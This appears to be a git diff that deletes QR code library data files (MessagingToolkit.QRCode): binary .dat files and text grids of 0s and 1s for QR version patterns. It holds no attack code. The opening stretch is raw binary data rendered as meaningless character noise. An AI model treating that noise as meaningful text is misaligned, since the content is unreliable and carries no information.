//..--,,;;::9988KKLLMMNNBBAA@@??[ZZYYXWVppqqrrss !!""##1100//..~~@@AABBCC \\[[ZZYYeeffgghh<<;;::99jjkkllmm::;;<<==ggffeeddZZ[[\\]] - - ++**))((77665544OOPPQQRR>>==7766UTSSRRQQttuuvvww$$%%&&''--,,++**}}||{{zzDDEEFFGG!!"" - - XXWWVVUUiijjkkll88776655nnoouuvv>>??@@AAccbbaa``^^__``aa''&&%%$$33221100SSTTUUVV55443322PPOONNMMxxyyzz{{(())**++))((''&&yyxxwwvvHHIIJJKK##$$%%&&TTSSRRQQmmnnoopp 44332211wwxxyyzzBBCCDDEE __^^]]\\bbccddee##""!!//..--,,WWXXYYZZ - -1100//..LLKKJJII||}}~~,,--..//%%$$##""uuttssrrLLMMNNOO''(())**PPOONNMMqqrrsstt!!""##$$00//..--~~}}{{||}}~~FFGGHHII - - [[ZZYYXXffgghhii++**))(([[\\]]^^ --,,++**HHGGFFEE00112233!! qqppoonnPPQQRRSS++,,--..LLKKJJIIuuvvwwxx%%&&''((,,++**))||{{zzyyJJKKLLMMWWVVUUTTjjkkllmm''&&%%$$__``aabb))((''&&DDCCBBAA44556677mmllkkjjTTUUVVWW//001122 - - HHGGFFEEyyzz{{||))**++,,((''&&%%xxwwvvuuNNOOPPQQSSRRQQPPnnooppqq !!##""!! ccddeeff%%$$##""@@??>>==8899::;;iihhggffXXYYZZ[[33445566 DDCCBBAA}}~~--..//00$$##""!!ttssrrqqRRSSTTUUOONNMMLLrrssttuu""##$$%% gghhiijj!!<;:98776<<==>>??eeddccbb\\]]^^__77==>>??@@??>>==11223344 ppoonnmmVVWWXXYY KKJJIIHHvvwwxxyy&&''(()) - - - -kkllmmnn65544332~~@@AABBCCaa``__^^``aabbcc@@AABBCC<<;;::9955667788llkkjjiiZZ[[\\]] - - GGFFEEDDzz{{||}}**++,,-- ooppqqrr !!""21100//.}}||{{zzDDEEFFGG - -]]\\[[ZZddeeffggDDEEFFGG8877665599::;;<<hhggffee^^__``aaCCBBAA@@~~..//0011ssttuuvv##$$%%&& .--,,++*yyxxwwvvHHIIJJKK YYXXWWVVhhiijjkkHHIIJJKK 44332211==>>??@@ddccbbaabbccddee??>>==<<22334455 wwxxyyzz''(())** - - *))((''&uuttssrrLLMMNNOOUUTTSSRRllmmnnooLLMMNNOO!!""##$$00//..--~~}}AABBCCDD ``__^^]]ffgghhii;;::998866778899 - - {{||}}~~++,,--..&%%$$##"qqppoonnPPQQRRSSQQPPOONNppqqrrssPPQQRRSS%%&&''((,,++**))||{{zzyyEEFFGGHH - - \\[[ZZYYjjkkllmm77665544::;;<<==!!""## - - //001122"!! mmllkkjjTTUUVVWWMMLLKKJJttuuvvwwYYZZ[[\\))**++,,((''&&%%xxwwvvuuIIJJKKLLXXWWVVUUnnooppqq !!33221100>>??@@AA$$%%&&''33445566 - - iihhggffXXYYZZ[[ - - IIHHGGFFxxyyzz{{]]^^__``--..//00$$##""!!ttssrrqqMMNNOOPPTTSSRRQQrrssttuu""##$$%%//..--,,~~}}||BBCCDDEE(())**++778899:: eeddccbb\\]]^^__ EEDDCCBB||}}~~aabbccdd11223344 ppoonnmmQQRRSSTTPPOONNMMvvwwxxyy&&''(())++**))(({{zzyyxxFFGGHHII,,--..//;;<<==>>aa``__^^``aabbccAA@@??>>eeffgghh55667788llkkjjiiUUVVWWXXLLKKJJIIzz{{||}}**++,,--''&&%%$$wwvvuuttJJKKLLMM00112233??@@AABB ]]\\[[ZZddeeffgg==<<;;::iijjkkll99::;;<<hhggffeeYYZZ[[\\ - - HHGGFFEE~~..//0011##""!! ssrrqqppNNOOPPQQ44556677 !!~~}}||{{CCDDEEFF!! - - YYXXWWVVhhiijjkk99887766mmnnoouu==>>??@@ddccbbaa]]^^__`` DDCCBBAA22334455oonnmmllRRSSTTUU==>>??@@""##$$%%zzyyxxwwGGHHIIJJ""##$$%%UUTTSSRRllmmnnoo55443322vvwwxxyyAABBCCDD ``__^^]]aabbccdd@@??>>==66778899kkjjiihhVVWWXXYYAABBCCDD&&''(())vvuuttssKKLLMMNN&&''(())QQPPOONNppqqrrss !!""##1100//..~~zz{{||}}EEFFGGHH - - \\[[ZZYYeeffgghh<<;;::99::;;<<==ggffeeddZZ[[\\]]EEFFGGHH**++,,--rrqqppooOOPPQQRR**++,,--MMLLKKJJttuuvvww$$%%&&''--,,++**}}||{{zz~~IIJJKKLLXXWWVVUUiijjkkll88776655~~}}||{{>>??@@AAccbbaa``^^__``aaIIJJKKLL..//0011nnmmllkkSSTTUUVV..//0011 - - IIHHGGFFxxyyzz{{(())**++))((''&&yyxxwwvvMMNNOOPPTTSSRRQQmmnnoopp 44332211zzyyxxwwBBCCDDEE __^^]]\\bbccddeeMMNNOOPP22334455jjiihhggWWXXYYZZ22334455 EEDDCCBB||}}~~,,--..//%%$$##""uuttssrrQQRRSSTTPPOONNMMqqrrsstt!!""##$$00//..--vvuuoonnFFGGHHII - - [[ZZYYXXffgghhiiQQRRSSYY66778899ffeeddcc[[\\]]^^6677==>>AA@@??>>00112233!! qqppoonnUUVVWWXXLLKKJJIIuuvvwwxx%%&&''((,,++**))mmllkkjjJJKKLLMMWWVVUUTTjjkkllmmZZ[[\\]]::;;<<==bbaa``____``aabb??@@AABB==<<;;::44556677mmllkkjjYYZZ[[\\ - - HHGGFFEEyyzz{{||))**++,,((''&&%%iihhggff~~}}||NNOOPPQQSSRRQQPPnnooppqq^^__``aa>>??@@AA^^]]\\[[ccddeeffCCDDEEFF998877668899::;;iihhggff]]^^__`` DDCCBBAA}}~~--..//00$$##""!!eeddccbb{{zzyyxxRRSSTTUUOONNMMLLrrssttuubbccddeeBBCCDDEEZZYYXXWWgghhiijjGGHHIIJJ55443322<<==>>??eeddccbbaabbccdd@@??>>==11223344 aa``__^^wwvvuutsVVWWXXYY KKJJIIHHvvwwxxyyffgghhiiFFGGHHIIVVUUTTSSkkllmmnnKKLLMMNN !!""##1100//..~~@@AABBCCaa``__^^eeffgghh<<;;::9955667788]]\\[[ZZrqpoonnmZZ[[\\]] - - GGFFEEDDzz{{||}}jjkkllmmJJKKLLMMRRQQPPOOooppqqrrOOPPQQRR$$%%&&''--,,++**}}||{{zzDDEEFFGG - -]]\\[[ZZiijjkkll8877665599::;;<<YYSSRRQQmllkkjji^^__``aaCCBBAA@@~~nnoouuvvNNOOPPQQNNMMLLKKssttuuvvSSYYZZ[[(())**++))((''&&yyxxwwvvHHIIJJKK YYXXWWVVmmnnoopp 44332211==>>??@@PPOONNMMihhggffebbccddee??>>==<>==<<;;hhiijjkk8899::;;iihhggffXXYYZZ[[ - - IIHHGGFF}}~~--..//00$$##""!!ttssrrqqMMNNOOPP@@??>>==YXWVUTSSrrssttuu""##$$%%//..--,,~~}}||bbccddee::998877llmmnnoo<<==>>??eeddccbb\\]]^^__ EEDDCCBB11223344 ppoonnmmQQRRSSTT77665544RRQQPPOOvvwwxxyy&&''(())++**))(({{zzyyxxffgghhii66554433uuvvwwxx@@AABBCCaa``__^^``aabbccAA@@??>>55667788llkkjjiiUUVVWWXX33221100NNMMLLKKzz{{||}}**++,,--''&&%%$$wwvvuuttjjkkllmm221100//yyzz{{||DDEEFFGG - -]]\\[[ZZddeeffgg==<<;;::99::;;<<hhggffeeYYZZ[[\\ - - //..--,,JJIIHHGG~~..//0011##""!! ssrrqqppnnooppqq..--,,++~~}}||{{}}~~HHIIJJKK YYXXWWVVhhiijjkk99887766~~}}||==>>??@@ddccbbaa]]^^__`` ++**))((FFEEDDCC22334455oonnmmllrrssttuu**))((''zzyyxxwwLLMMNNOOUUTTSSRRllmmnnoo55443322{{zzyyxxAABBCCDD ``__^^]]aabbccdd''&&%%$$BBAA@@??66778899kkjjiihhvvwwxxyy&&%%$$##vvuuttssPPQQRRSSQQPPOONNppqqrrss !!""##1100//..wwvvuuooEEFFGGHH - - \\[[ZZYYeeffgghh##""!!>>==<;:9::;;<<==ggffeeddzz{{||}}""!! rrqqppooTTUUVVWWMMLLKKJJttuuvvww$$%%&&''--,,++**nnmmllkkIIJJKKLLXXWWVVUUiijjkkll87766554>>??@@AAccbbaa``~~nnmmllkkXXYYZZ[[ - - IIHHGGFFxxyyzz{{(())**++))((''&&jjiihhgg~~}}MMNNOOPPTTSSRRQQmmnnoopp 43322110~~}}||BBCCDDEE __^^]]\\jjiihhgg\\]]^^__ EEDDCCBB||}}~~,,--..//%%$$##""ffeeddcc||{{zzyyQQRRSSTTPPOONNMMqqrrsstt!!""##$$0//..--,{{zzyyxxFFGGHHII - - [[ZZYYXXffeeddcc``aabbccAA@@??>>00112233!! bbaa``__xxwwvvuuUUVVWWXXLLKKJJIIuuvvwwxx%%&&''(( ,++**))(wwvvuuttJJKKLLMMWWVVUUTTbbaa``__ddeeffgg==<<;;::44556677^^]]\\[[tsrqpoonYYZZ[[\\ - - HHGGFFEEyyzz{{||))**++,, - - (''&&%%$ssrrqqppNNOOPPQQSSRRQQPP ^^]]\\[[hhiijjkk998877668899::;;ZZYYSSRRnmmllkkj]]^^__`` DDCCBBAA}}~~--..//00$##""!! oonnmmllRRSSTTUUOONNMMLL - - ZZYYXXWWllmmnnoo55443322<<==>>??QQPPOONNjiihhggfaabbccdd@@??>>==11223344 - -kkjjiihhVVWWXXYY KKJJIIHHVVUUTTSSppqqrrss !!""##1100//..~~@@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`ZdQbtXv`fdrtAJHAbےvˍpfJltZ|dbے`lJtAr˂rXQnvpJtArdHfpvtbdQZf`vXbtl`f~tbdQr˂p|ZdQbXQJ`ےfHfے`JXQnXv`p˂rvpfJXQrf~HdQZ|vXnlJtAHfpltb`JXQrH~ㅐfbAdZ|rtAJlJXQrdfJ`ےfH~|ZdQnXv|drnvpJtArdHfpvZ|dZAb`tlJbHAZ`vXnr˂pf~HXQJ`ےH~f˂p`JfpvdrtAJvpfHrd|vnrdQZ|˂pZ`vXndrQttbdQ˂pZHA~HXvbHAZpf`vXbtl`f~tAJlfH~|ZdQnXvrtAdQZJXQrtArdp˂rvpfZHAbfpvbHAZ`vXnXQrbtnXv`fltb~f`ZdQbtXQJ`ےdrtAJHAbےvˍpfJltZ|dbے``f~˂bnvpJtArdHfpvtbdQZf`vXbtl`f~|drpZHAf~HXQJ`ےH~fے`JXQnXv`p˂rvpfl|Z~fpvdQZ|vXnlJtAHAZpltb`JXQHAH~ㅐfbAdZ|tAJlJXQrHfpvHAZdfH~|ZdQnXv|drnvpJtArdHfpvtAJlbے`fpvbHAZ`vXnr˂pf~HXQJ`ےH~fdQbt璀nXvdrtAJvpfHrd|˂rXQdQZ|bے``vXndrQttbn˂pZHAnXvrtAJf`vXbtl`f~tAJlfH~|ZdQnXvtbdQZJXQrnXv`p˂rvpfZHAbfpvbHAZ`vXnlJtAr`f~ltb~fZZdQbtJ`ےdrtAJJXQrvˍpfJltvpfHbے``f~bdQZ|nvpJtArdHfpvtbdQZf`vXbtl`fH|drpZHAf~HXQJ`ےH~fے`JXQnXv`p˂rvpfd|ZHfpvdQZ|HAbےlJtAbHAZpltb˂pZHAH~ㅐfbAdZ|66666666666666666666666666666666667777777777777777777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_0.dat deleted file mode 100644 index 041616c..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_1.dat deleted file mode 100644 index 59889fb..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_2.dat deleted file mode 100644 index 29c2756..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_3.dat deleted file mode 100644 index 84713c5..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv4_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_0.dat deleted file mode 100644 index b8db1f0..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_1.dat deleted file mode 100644 index 0a7ccf7..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_2.dat deleted file mode 100644 index 3b3cbd9..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_3.dat deleted file mode 100644 index 1d403f7..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv5_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_0.dat deleted file mode 100644 index f184ac9..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_1.dat deleted file mode 100644 index 930399d..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_2.dat deleted file mode 100644 index 2162d80..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_3.dat deleted file mode 100644 index fecc622..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv6_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_0.dat deleted file mode 100644 index b14f7b9..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_1.dat deleted file mode 100644 index f4cae7a..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_2.dat deleted file mode 100644 index 57d216c..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_3.dat deleted file mode 100644 index aca8da0..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv7_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_0.dat deleted file mode 100644 index 2f1fb26..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_1.dat deleted file mode 100644 index abeb98f..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_2.dat deleted file mode 100644 index 57f789b..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_3.dat deleted file mode 100644 index 545a500..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv8_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_0.dat deleted file mode 100644 index e88c008..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_1.dat deleted file mode 100644 index 9c3724d..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_2.dat deleted file mode 100644 index f07f6a3..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_3.dat deleted file mode 100644 index 539445e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv9_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr1.dat deleted file mode 100644 index 3d889a7..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr1.dat +++ /dev/null @@ -1,21 +0,0 @@ -111111100000001111111 -100000100000001000001 -101110100000001011101 -101110100000001011101 -101110100000001011101 -100000100000001000001 -111111101010101111111 -000000000000000000000 -000000100000000000000 -000000000000000000000 -000000100000000000000 -000000000000000000000 -000000100000000000000 -000000001000000000000 -111111100000000000000 -100000100000000000000 -101110100000000000000 -101110100000000000000 -101110100000000000000 -100000100000000000000 -111111100000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr10.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr10.dat deleted file mode 100644 index e2f028f..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr10.dat +++ /dev/null @@ -1,57 +0,0 @@ -111111100000000000000000000000000000000000000011001111111 -100000100000000000000000000000000000000000000001001000001 -101110100000000000000000000000000000000000000011001011101 -101110100000000000000000000000000000000000000001001011101 -101110100000000000000000001111100000000000000001001011101 -100000100000000000000000001000100000000000000010001000001 -111111101010101010101010101010101010101010101010101111111 -000000000000000000000000001000100000000000000000000000000 -000000100000000000000000001111100000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000011111000000000000000001111100000000000000000111110000 -000010001000000000000000001000100000000000000000100010000 -000010101000000000000000001010100000000000000000101010000 -000010001000000000000000001000100000000000000000100010000 -000011111000000000000000001111100000000000000000111110000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000 -101001100000000000000000000000000000000000000000000000000 -111110000000000000000000000000000000000000000000000000000 -000000100000000000000000001111100000000000000000111110000 -000000001000000000000000001000100000000000000000100010000 -111111100000000000000000001010100000000000000000101010000 -100000100000000000000000001000100000000000000000100010000 -101110100000000000000000001111100000000000000000111110000 -101110100000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr11.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr11.dat deleted file mode 100644 index 0a7ecb0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr11.dat +++ /dev/null @@ -1,61 +0,0 @@ -1111111000000000000000000000000000000000000000000001101111111 -1000001000000000000000000000000000000000000000000001101000001 -1011101000000000000000000000000000000000000000000011101011101 -1011101000000000000000000000000000000000000000000010101011101 -1011101000000000000000000000111110000000000000000011001011101 -1000001000000000000000000000100010000000000000000010001000001 -1111111010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000000000000 -0000001000000000000000000000111110000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000 -0011111000000000000000000000000000000000000000000000000000000 -1110100000000000000000000000000000000000000000000000000000000 -1111001000000000000000000000111110000000000000000000111110000 -0000000010000000000000000000100010000000000000000000100010000 -1111111000000000000000000000101010000000000000000000101010000 -1000001000000000000000000000100010000000000000000000100010000 -1011101000000000000000000000111110000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr12.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr12.dat deleted file mode 100644 index c184f27..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr12.dat +++ /dev/null @@ -1,65 +0,0 @@ -11111110000000000000000000000000000000000000000000000001001111111 -10000010000000000000000000000000000000000000000000000000101000001 -10111010000000000000000000000000000000000000000000000010101011101 -10111010000000000000000000000000000000000000000000000011001011101 -10111010000000000000000000000011111000000000000000000000101011101 -10000010000000000000000000000010001000000000000000000010001000001 -11111110101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000000010001000000000000000000000000000000 -00000010000000000000000000000011111000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 